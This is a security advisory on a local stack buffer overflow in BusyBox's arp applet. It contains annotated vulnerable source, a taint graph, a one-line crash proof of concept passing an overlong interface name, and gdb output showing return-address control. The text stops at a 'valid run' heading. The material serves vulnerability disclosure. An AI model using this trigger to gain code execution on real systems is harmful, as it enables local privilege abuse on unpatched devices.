SSD Advisory – BusyBox (local) cmdline stack buffer overwrite
Vulnerability Description
BusyBox provides an arp
applet which is missing an array bounds check for command-line parameter IFNAME
. It is therefore vulnerable to a command-line based local stack buffer overwrite effectively allowing local users to write past a 16 bytes fixed stack buffer. This leads to two scenarios, one (A) where an IOCTL for GET_HW_ADDRESS (SIOCGIFHWADDR
) fails and results in a corrupted va_list
being passed to *printf()
and one (B) where an attacker might provide valid params for the IOCTL and trick the program to proceed and result in a RET eip overwrite
eventually gaining code execution.
Technical Details
By providing an overly long string for param IFNAME
while setting -D
(read HW Address from IFACE) and -s
(set new entry) a strcpy operation can be reached that allows to write past the stack buffer ifreq.ifr_name[IFANMESIZ]
[5,6]
Details: arp.c
The stack buffer overflow manifests in arp.c
Taint Graph
1 2 3 4 5 6 7 8 9 10 11 12 | busybox arp -> arp.c:477 – arp_main (argc, argv) -> arp.c:524 – arp_set (argv) -> arp.c:263: – arp_getdevhw (ifname=*args++) -> arp.c:332: – strcpy (dst=fixed_buffer,src=ifname) // — stack is messed up now – arbitrary stack local vars overwritten already (including stored eip) — -> arp.c:222 ioctl_or_perror_and_die(,,ifr,<static_string>,ifname) // A) ioctl_or_perror_and_die – FAILS – due to messed up stack -> xfuncs_printf.c:508 – bb_verror_msg(fmt=<static_string>,valist p,strerr(errno)) -> verror_msg.c:31 – vasprintf(&msg, s=fmt, valist p); // B) ioctl_or_perror_and_die – SUCCEEDS – due to attacker providing reasonable values for IOCTL -> arp.c:238 – RETURN – stack messed up, direct eip control |
Vulnerable Code
1. No bounds check in arp_main
1 2 3 4 5 6 7 8 9 10 11 12 13 | int arp_main(int argc UNUSED_PARAM, char **argv) { ... /* Now see what we have to do here… */ if (opts & (ARP_OPT_d | ARP_OPT_s)) { /** !! -d and -s must be set*/ if (argv[0] == NULL) /** !! argument must be set == IFNAME*/ bb_error_msg_and_die(“need host name”); if (opts & ARP_OPT_s) return arp_set(argv); /** !! argv never checked, pass to arp_set (tainted)*/ return arp_del(argv); } ... } |
2. No bounds check in arp_set
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | static int arp_set(char **args) /** !! args==IFNAME (tainted)*/ { ... /* Fetch the hardware address. */ if (*args == NULL) { /** !! IFNAME must be set*/ bb_error_msg_and_die(“need hardware address”); } if (option_mask32 & ARP_OPT_D) { /** !! -d must be set*/ arp_getdevhw(*args++, &req.arp_ha); /** !! args never checked, pass to arp_getdevhw*/ } else { if (hw->input(*args++, &req.arp_ha) < 0) { bb_error_msg_and_die(“invalid hardware address”); } } ... } |
3. No bounds check and buffer overwrite in arp_getdevhw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | static void arp_getdevhw(char *ifname, struct sockaddr *sa) /** !! ifname==args (tainted)*/ { struct ifreq ifr; /** !! static stack struct, sizeof(ifreq)==40*/ const struct hwtype *xhw; /** !! static stack struct, sizeof(hwtype)==64*/ strcpy(ifr.ifr_name, ifname); /** !! overwrites ifr.ifr_name[IFNAMESIZ==16] by strlen(ifname)*/ ioctl_or_perror_and_die(sockfd, SIOCGIFHWADDR, &ifr, “can’t get HW-Address for ‘%s'”, ifname); /** !! will do the IOCTL and die on errors*/ if (hw_set && (ifr.ifr_hwaddr.sa_family != hw->type)) { /** !! Skip – hw_set is only set by -H|-t*/ bb_error_msg_and_die(“protocol type mismatch”); } memcpy(sa, &(ifr.ifr_hwaddr), sizeof(struct sockaddr)); /** !! Skip – we do not care*/ if (option_mask32 & ARP_OPT_v) { /** !! Skip – we do not specify -v*/ xhw = get_hwntype(ifr.ifr_hwaddr.sa_family); if (!xhw || !xhw->print) { xhw = get_hwntype(–1); } bb_error_msg(“device ‘%s’ has HW address %s ‘%s'”, ifname, xhw->name, xhw->print((unsigned char *) &ifr.ifr_hwaddr.sa_data)); } } /** !! if we do not fail in IOCTL we’ll land here – direct EIP control*/ |
Arbitrary length (may be limited by os) string IFNAME
overwrites 16 bytes fixed buffer ifreq.ifr_name[IFANMESIZ]
[5,6].
4. stack is messed up before IOCTL for SIOCGIFHWADDR in ioctl_or_perror_and_die
We control any fields below ifr.ifr_name
– which essentially is any ifreq field, see below – allowing us to call SIOCGIFHWADDR IOCTL
with user controlled fields and pot. let it die or make it succeed. If the IOCTL
fails it will make the process die in vsprintf()
due to messed up va_args on stack. If the IOCT
L succeeds, it will make the process continue, copy taken from [5]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | 203 struct ifreq { 204 #define IFHWADDRLEN 6 205 union 206 { 207 char ifrn_name[IFNAMSIZ]; /* if name, e.g. “en0” */ /** !! we overflow here */ 208 } ifr_ifrn; 209 210 union { 211 struct sockaddr ifru_addr; 212 struct sockaddr ifru_dstaddr; 213 struct sockaddr ifru_broadaddr; 214 struct sockaddr ifru_netmask; 215 struct sockaddr ifru_hwaddr; 216 short ifru_flags; 217 int ifru_ivalue; 218 int ifru_mtu; 219 struct ifmap ifru_map; 220 char ifru_slave[IFNAMSIZ]; /* Just fits the size */ 221 char ifru_newname[IFNAMSIZ]; 222 void __user * ifru_data; 223 struct if_settings ifru_settings; 224 } ifr_ifru; 225 }; |
5. a) IOCTL fails
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | //xfuncs_printf.c:508 int FAST_FUNC ioctl_or_perror_and_die(int fd, unsigned request, void *argp, const char *fmt,...) { int ret; va_list p; /** !! stack is messed up */ ret = ioctl(fd, request, argp); if (ret < 0) { va_start(p, fmt); bb_verror_msg(fmt, p, strerror(errno)); /** !! valist p is corrupt, stack is messed up, and we fail, printing error*/ /* xfunc_die can actually longjmp, so be nice */ va_end(p); xfunc_die(); } return ret; } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | //verror_msg.c:31 – vasprintf(&msg, s=fmt, valist p); void FAST_FUNC bb_verror_msg(const char *s, va_list p, const char* strerr) { char *msg, *msg1; int applet_len, strerr_len, msgeol_len, used; if (!logmode) return; if (!s) /* nomsg[_and_die] uses NULL fmt */ s = “”; /* some libc don’t like printf(NULL) */ used = vasprintf(&msg, s, p); /** !! valist p is corrupt */ if (used < 0) return; ... } |
6. b) IOCTL does not fail
As described in 3./4. the code proceeds with returning from arp_getdevhw
eventually executing code from the strcpy()
based overflow. (RET overwrite)
Proof of Concept
Brutally smash the stack buffer (provide any IP as arg HOSTNAME
to bypass name resolver):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | # ./busybox arp -v -Ds 1.1.1.1 $(python -c “print ‘A’*99”) Segmentation fault # dmesg busybox[5135]: segfault at 41414141 ip 080b8a5b sp bfa924fc error 4 in busybox[8048000+1fd000] # gdb –args ./busybox_unstripped arp -v -Ds 1.1.1.1 $(python -c “print ‘A’*99”) (gdb) r ... Program received signal SIGSEGV, Segmentation fault. 0x080b8a5b in vfprintf () (gdb) i r eax 0x0 0 ecx 0xffffffff –1 edx 0x0 0 ebx 0xbffff42c –1073744852 esp 0xbfffee6c 0xbfffee6c ebp 0xbffff408 0xbffff408 esi 0x1a 26 edi 0x41414141 1094795585 eip 0x80b8a5b 0x80b8a5b <vfprintf+13739> eflags 0x10246 [ PF ZF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) bt #0 0x080b8a5b in vfprintf () #1 0x0805b629 in vasprintf () #2 0x080f02aa in bb_verror_msg (s=0x820cc85 “can’t get HW-Address for ‘%s'”, p=0xbffff540 ‘A’ <repeats 103 times>, strerr=0x823a798 “No such device”) at libbb/verror_msg.c:31 #3 0x080f18a1 in ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff544, fmt=0x820cc85 “can’t get HW-Address for ‘%s'”) at libbb/xfuncs_printf.c:508 #4 0x0811365d in arp_getdevhw (ifname=0x41414141 <Address 0x41414141 out of bounds>, sa=0x41414141) at networking/arp.c:222 #5 0x41414141 in ?? () #6 0x41414141 in ?? () #7 0x41414141 in ?? () #8 0x41414141 in ?? () #9 0x41414141 in ?? () ... (gdb) bt full #0 0x080b8a5b in vfprintf () No symbol table info available. #1 0x0805b629 in vasprintf () No symbol table info available. #2 0x080f02aa in bb_verror_msg (s=0x820cc85 “can’t get HW-Address for ‘%s'”, p=0xbffff540 ‘A’ <repeats 103 times>, strerr=0x823a798 “No such device”) at libbb/verror_msg.c:31 msg = 0x13 <Address 0x13 out of bounds> msg1 = 0x0 applet_len = –1073744492 strerr_len = –1073744524 msgeol_len = 0 used = –1073744508 #3 0x080f18a1 in ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff544, fmt=0x820cc85 “can’t get HW-Address for ‘%s'”) at libbb/xfuncs_printf.c:508 ret = –1 p = 0xbffff540 ‘A’ <repeats 103 times> #4 0x0811365d in arp_getdevhw (ifname=0x41414141 <Address 0x41414141 out of bounds>, sa=0x41414141) at networking/arp.c:222 ifr = {ifr_ifrn = {ifrn_name = ‘A’ <repeats 16 times>}, ifr_ifru = {ifru_addr = {sa_family = 16705, sa_data = ‘A’ <repeats 14 times>}, ifru_dstaddr = {sa_family = 16705, sa_data = ‘A’ <repeats 14 times>}, ifru_broadaddr = {sa_family = 16705, sa_data = ‘A’ <repeats 14 times>}, ifru_netmask = {sa_family = 16705, sa_data = ‘A’ <repeats 14 times>}, ifru_hwaddr = { sa_family = 16705, sa_data = ‘A’ <repeats 14 times>}, ifru_flags = 16705, ifru_ivalue = 1094795585, ifru_mtu = 1094795585, ifru_map = { mem_start = 1094795585, mem_end = 1094795585, base_addr = 16705, irq = 65 ‘A’, dma = 65 ‘A’, port = 65 ‘A’}, ifru_slave = ‘A’ <repeats 16 times>, ifru_newname = ‘A’ <repeats 16 times>, ifru_data = 0x41414141 <Address 0x41414141 out of bounds>}} #5 0x41414141 in ?? () No symbol table info available. #6 0x41414141 in ?? () No symbol table info available. #7 0x41414141 in ?? () |
A debugging session shows that we messed up the va_list
on stack with the user provided string.
crosscheck: valid run (no crash expected, IFNAME=AAAAA
):